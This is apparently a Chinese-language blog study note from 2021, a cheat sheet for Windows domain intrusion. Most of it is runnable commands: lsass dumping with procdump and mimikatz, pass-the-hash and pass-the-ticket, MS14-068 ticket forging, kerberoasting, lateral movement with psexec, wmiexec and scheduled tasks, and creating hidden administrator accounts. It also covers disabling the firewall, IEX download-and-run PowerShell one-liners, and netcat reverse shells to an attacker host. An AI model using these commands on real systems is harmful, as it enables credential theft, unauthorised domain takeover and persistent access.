总结笔记 二

常用命令
systeminfo  详细信息
net start  启动服务
tasklist  进程列表
schtasks 计划任务
ipconfig /all  判断域  dns
net view /domain  判断存在域
net time /domain 判断主域  获取域控名
ping 域控名 或者  nslookup 获取ip地址
netstart -ano
whoami /all 查看用户权限
net config workstation 登录信息
net user  本地用户
net group /domain 查看域里面的组
net localgroup  本地用户组
net user /domain 获取域用户信息
net view \\\\dc   查看 dc 域内共享文件
net group "Domain Admins" /domain 查看域管账户
net group "Enterprise Admins" /domain 查看管理员用户组
net group "Domain Controllers" /domain 查看域控制器

使用icmp协议探测内网存活主机
for /L %I in (1,1,254) DO @ping -w 1 -n 192.168.1.%I | findstr "TTL="


系统默认常见用户身份
domain admin:域管理员
domain computers:域内机器
domain controllers:域控制器
domain guest   域访客,权限低
domain users:域用户
enterprise Admin :企业系统管理员用户



凭据信息信息收集
计算机用户hash,明文获取 mimikatz、mimipenguin(linux)
地址:https://github.com/gentilkiwi/mimikatz/releases
          https://github.com/AlessandroZ/LaZagne
计算机各种协议服务口令获取 lazagne,xenarmor收费(win)
地址:xenarmor收费    https://xenarmor.com/allinone-password-recovery-pro-software
netsh WLAN show profiles
netsh WLAN show profile name="无线名称" key=clear
1.站点源码备份文件,数据库备份文件
2.各类数据库web管理入口
3.浏览器保存密码
4.其他用户绘画、3389、ipc$连接记录
5.wifi密码
6.网络内部各种账户密码  email、vpn、ftp、OA

使用icmp协议探测内网存活主机
for /L %I in (1,1,254) DO @ping -w 1 -n 192.168.1.%I | findstr "TTL="
或者nbtscan
地址:https://sectools.org/tool/nbtscan/
或者nishang(powershell)
地址:https://github.com/samratashok/nishang
执行策略
Set-ExecutionPolicy    RemoteSigned
导入模块
PS C:\nishang> Import-Module .\nishang.psm1
获取模块nisahng的命令函数
Get-Command-Module nishang
获取计算机常规信息
PS C:\nishang> Get-Information
端口扫描
Invoke-PortScan -StartAddress 192.168.110.1 -EndAddress 192.168.110.130 -ResolveHost -ScanPort




Kerberos协议
    客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
    将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
    然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
    检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。


横向渗透
1.at&schtasks配合IPC链接主机,上传木马,创建定时任务执行木马
2.procdump(官方)配合mimikatz配合获取密码
3.smb服务利用psexec,smbexec(前提445端口开放)
    情况一:已经建立了$ipc连接   net创建管理员账户 ,psexec \\\\192.168.3.32 -s cmd #-s参数为以system权限运行获取shell
    情况二:未建立ipc,直接提供明文账号密码(不能直接传递hash) psexec \\\\192.168.3.21 -u administrator -p Admin12345 -s cmd
4.wmi服务利用cscript,vmiexec,通过135端口进行利用
    WMI是由一系列工具集组成的,通过135端口进行利用,支持用户名或者hash方式传递并且该方法不会再目标日志留下痕迹
    #自带WMIC 明文传递,命令无回显
    #自带cscript 明文传递,命令有回显
    #impacket-wmiexec 明文或hash传递 有回显
5.PTH&PTT&PTK
    PTH(pass the hash)# 利用lm或ntlm的值进行渗透测试        没打补丁用户都可以进行连接  打补丁只有administrator链接 安装了kb2871997补丁
    PTK(pass the key)# 利用的ekeys aes256进行渗透测试        打了补丁用户才可以链接  采用aes256 链接
    PTT(pass the ticket)#利用的票据凭证TGT进行渗透测试  (kerberos协议)如ms14-068漏洞  黄金白银票据(ptt 不需要管理员权限)
    域横向PTH传递 mimikatz(ntml)
    域横向PTK传递 mimikatz   PTK aes256传递
    域横向渗透PTT传递-ms14068&kekeo
    MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)
        方法:
    1.查看当前sid       whoami/user
    2.privilege::debug   提取权限  (清空当前机器的所有凭证,如果有域成员会影响凭证伪造)
    3.利用ms14-068生成TGT数据
    4. mimikatz将票据注入内存
    5.查看凭证 klist并且登录域控:
    6.添加域用户
    (黄金票据:因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
       白银票据:白银票据这里只是对单一的服务进行授权)
6.winrs&winrm&rdp
    WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。
         利用条件
    1.通信的双方都需要开启WinRM服务
    2.服务端防火墙允许WinRM服务端口通信
    3.查看WinRM具体配置:
                (1)查看WinRM具体配置:    winrm get winrm/config
                (2)允许所有客户端IP连接:
        winrm set winrm/config/Client @{TrustedHosts="*"}
        winrm e winrm/config/listener # 查看监听地址和端口
         执行方法
    1. WinRS 进行远程管理
       winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
        winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd
    2. 利用Powershell远程管理
    Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture} # 执行单条命令
     会有弹窗  Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator # 返回远程主机的cmdlet
    3.WinRM 远程管理
    ./winrm -hostname remote.domain.com -username "Administrator" -password "secret" "ipconfig /all"
    4.开启3389

7.CVE-2014-6324  CVE-2017-17010  CVE-2021-1472

(一)at&schtasks
at在windows2012版本以下   schtasks 在windos2012 版本以上
利用流程(前提是已经知道目标电脑的用户名和密码)
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接、
[at] & [schtasks]
#at < Windows2012
net use \\server\ipc$"password" /user:username # 工作组建立IPC连接
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接:
copy add.bat \\192.168.3.21\c$  #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat    #添加计划任务
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

#schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务


横向渗透明文HASH传递atexec-impacket(别人写好的工具)
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
横向渗透明文HASH传递批量利用-综合
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版


(二)psexec&smbexec
windows2012 以上默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012 如果安装kb2871997补丁 同样无法获取
针对以上几种情况,我们提供4中方法
1. 利用hash传递进行移动
2.利用其他服务smb,wmi进行hash传递
3. 利用注册表开启wdigest Auth值进行获取
4.利用工具或第三方平台hashcat()进行破解

1.procdump(官方)配合mimikatz配合获取
使用procdump将工具lsass.exe转储为lsass.dmp
地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
执行命令
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
hashcat破解
hashcat -a 0 -m 1000 hash file --force

2.smb服务利用psexec,smbexec(官方自带)前提(445端口开放)
psexec地址   https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
(1)psexec  先有ipc链接,psexec需要明文或者hash传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接:
psexec \\192.168.3.32 -s cmd  
(2)psexec  不需要ipc 直接明文或者hash传递
psexec \\192.168.3.32  -u administrator -p xxxx   -s cmd
psexec -hashes  :$hash$   ./administrator@192.168.3.32
psexec -hashes  :$HASH$   domain/administrator@192.168.3.32

smbexec
地址:https://github.com/SecureAuthCorp/impacket
smbexec.py god.org/administrator:Admin12345\@192.168.2.25
smbexec.py ./administrator:Admin12345\@192.168.2.25
smbexec.py -hashes  :$HASH$ domain/administrator@192.168.3.32
smbexec.py -hashes  :$HASH$ ./admin@192.168.3.32

(三).wmi服务利用cscript,vmiexec,vmic
WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。它通过135端口进行利用,支持用户名或者hash方式传递
并且该方法不会再目标日志留下痕迹
#自带vmic  明文传递 无回显
wmic /node:192.168.52.138 /user:administrator /password:admin123 process call create "cmd.exe /c ipconfig > c:\result.txt"
#自带cscript  明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.52.138 administrator admin123
#套件cscript vmiexec 明文或hash传递 有回显exe版本
wmiexec ./administrator:admin123@192.168.52.138 "whoami"
wmiexec god/administrator:admin123@192.168.52.138 "whoami"
wmiexec -hashes  :$hash$   ./administrator@192.168.3.32 "whoami"
wmiexec -hashes  :$HASH$   domain/administrator@192.168.3.32
使用WMIC命令开启远程计算机的远程桌面连接:
wmic /node:192.168.52.138 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

(四)PTH&PTT&PTK
PTH(pass the hash)# 利用lm或ntlm的值进行渗透测试        没打补丁用户都可以进行连接  打补丁只有administrator链接
PTK(pass the key)# 利用的ekeys aes256进行渗透测试        打了补丁用户才可以链接  采用aes256 链接
PTT(pass the ticket)#利用的票据凭证TGT进行渗透测试  (kerberos协议)如ms14-068漏洞  黄金白银票据(ptt 不需要管理员权限)

PTH原理是攻击者可以通过LM Hash和NTLM hash访问远程主机或服务,而不提供明文密码
如果用户禁用了ntml认证,psexec无法成功但mimkataz可以成功
对于8.1、2012r2 安装了kb2871997补丁可以使用 aes keys 代替nt hash 来实现ptk攻击

1.域横向PTH传递 mimikatz(ntml)
privilege::debug   提取权限
sekurlsa::logonpasswords   抓取密码
找到管理员ntlm和lm
sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7
# 上面反弹回来shell 查看域控的d盘信息
dir \\WIN-83V1721VG9V.tencent.com\d$    // 连接使用ip/域名都可以

使用Metasploit进行PTH
auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令              
exploit/windows/smb/psexec            // 用psexec执行系统命令         
exploit/windows/smb/psexec_psh         // 使用powershell作为payload

2.域横向PTK传递 mimikatz
PTK aes256传递
打补丁后
privilege::debug   提取权限
sekurlsa::ekeys  获取aes
sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f   域链接

3.域横向渗透PTT传递-ms14068&kekeo
第一种利用漏洞
能实现普通用户直接获取域控权限system
#ms14-067 powershell执行
1.查看当前sid       whoami/user
2.privilege::debug   提取权限  (清空当前机器的所有凭证,如果有域成员会影响凭证伪造)
3,利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u mary@god.org -p 域成员密码 -s 域成员sid -d 域控制器地址
mimikatz # kerberos::purge          //清空当前凭证
mimikatz # kerberos::list           //查看当前机器凭证
4. 票据注入内存
mimikatz # kerberos::ptc 票据文件    //将上一步生成的票据注入到内存中
mimikatz#  kerberos::ptc TGT_mary@god,org,ccache" exit
5.查看凭证 klist
6.dir \\192.168.3.21\c$
7.添加域用户
net user ccc Qwe1234/add /domain
net group "Domain Admins" cccc /add /domain

第二种使用工具
kekeo
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$
工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases

第三种利用本地票据
这种方式是猜测当前电脑连接过域控,并且连接时长没有超过票据的过期时间(10小时)
# mimikatz 命令
privilege::debug           // 提升权限
sekurlsa::tickets /export   // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi  // 导入票据
dir \\192.168.3.21\c$   // 利用


(五)域横向渗透rdp传递-mimikatz
windows mstsc
linux rdesktop 192.168.3.21:3389
在主机上添加账号
net user admin1 admin134@!! /add & net localgroup administrators admin1 /add
如不允许远程连接,修改注册表
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
关闭防火墙
netsh firewall set opmode mode=disable

**隐藏 win 账户**
开启 sys 权限 cmd:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
add user 并隐藏:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')


域横向spn服务(探针--请求--导处--破解)
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。
Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,
则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN总是包含运行服务实例的主机名称,所以服务实例可以为其主机的每个名称或别名注册一个SPN。
探针
setspn  -q */*
setspn  -q */* I findstr "MSSQL"
请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlsrv.test.com:1433"
或者使用mimikatz请求
mimikatz "kerberos::ask /target:xxxx"
导出
mimikatz # kerberos::list /export
破解
地址: https://github.com/nidem/kerberoast
python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"
重写

横向渗透之 [WinRM] & [WinRS]
参考地址http://t3ngyu.leanote.com/post/LM-WinRM-WinRS
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。
利用条件
1.通信的双方都需要开启WinRM服务
2.服务端防火墙允许WinRM服务端口通信
3.查看WinRM具体配置:
    (1)查看WinRM具体配置:    winrm get winrm/config
    (2)允许所有客户端IP连接:
        winrm set winrm/config/Client @{TrustedHosts="*"}
        winrm e winrm/config/listener # 查看监听地址和端口
执行方法
1. WinRS 进行远程管理
    winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
    winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd
2. 利用Powershell远程管理
Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture} # 执行单条命令
 会有弹窗  Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator # 返回远程主机的cmdlet
3.WinRM 远程管理
./winrm -hostname remote.domain.com -username "Administrator" -password "secret" "ipconfig /all"
4.开启3389


代理
ngrok
地址:https://www.ngrok.cc/login/register
常用隧道
网络层 IPv6隧道 ICMP隧道
传输层 TCP隧道 UDP隧道 、常规隧道
应用层:ssh隧道,http/s隧道、DNS隧道
隧道和代理的区别是:代理是委托一个人找目标,隧道是通过特定的通讯方法,直接找到这个目标;
隧道必备条件
在数据通信被拦截的情况利用隧道技术封装改变通信协议进行绕过拦截
1.cs msf无法上线
2.数据传输不稳定无回显
3.出口数据被监控
4.网络通讯存在问题

网络传输应用层检测连通性
tcp协议  使用nc
http协议  使用curl ip:端口 命令
icmp协议 使用ping
dns协议 使用nslookup 或dig

网络层icmp协议使用ptunnel
工具地址  https://github.com/esrrhs/pingtunnel
http://freshmeat.sourceforge.net/projects/ptunnel/
pingtunnel可以把tcp/udp/sock5流量伪装成icmp流量进行转发
1:【-p】代理服务器地址
2:【-lp】本地端口
3:【-da】目标内网IP
4:【-dp】目标端口
5:【-x】进入此隧道密码,如果服务器加该参数,客户端也需要加同样参数和值】

传输层portmap使用
windows:lcx
linux:portmap
lcx -slave 攻击者ip 3131 127.0.0.1 3389 将本地3389给攻击者ip的3131
lcx -listen 3131 3333 监听本地3131转发到本地的3333
redesktop  ip 3333

传输层nc使用
1.双向链接反弹shell
正向连接
    受害:nc -ldp 1234 -e  /bin/sh
              nc -ldp 1234 -e C:\windows\system32\cmd.exe
    反向: nc ip 1234
反向连接
    攻击 nc -lvp 1234
    受害 nc 攻击主机ip 1234 -e  /bin/sh
            nc 攻击主机ip 1234 -e C:\windows\system32\cmd.exe
2.多层连接
反向
webserver(跳板机  192.168.3.31  47.xx.76.143)
    执行 lcx.exe -listen 2222 3333
sqlserver(内网机192.168.3.32 )
    执行 nc 192.168.3.31 2222 -e C:\windows\system32\cmd.exe
攻击机器 nc -v 47.xx.76.143 3333

3.dns配合cs



工具
nbtscan        https://sectools.org/tool/nbtscan/
nishang            https://github.com/samratashok/nishang
LaZagne        https://github.com/AlessandroZ/LaZagne
mimikatz         https://github.com/gentilkiwi/mimikatz/releases
mimipenguin    https://github.com/huntergregal/mimipenguin、
        https://nagareshwar.securityxploded.com/download-softwares/
xenarmor收费    https://xenarmor.com/allinone-password-recovery-pro-software
获取 window vpn 密码:  https://www.nirsoft.net/utils/network_password_recovery.html
Ladon:https://github.com/k8gege/Ladon

posted @ 2021-07-14 16:34  bingtanghulu  阅读(229)  评论(0编辑  收藏  举报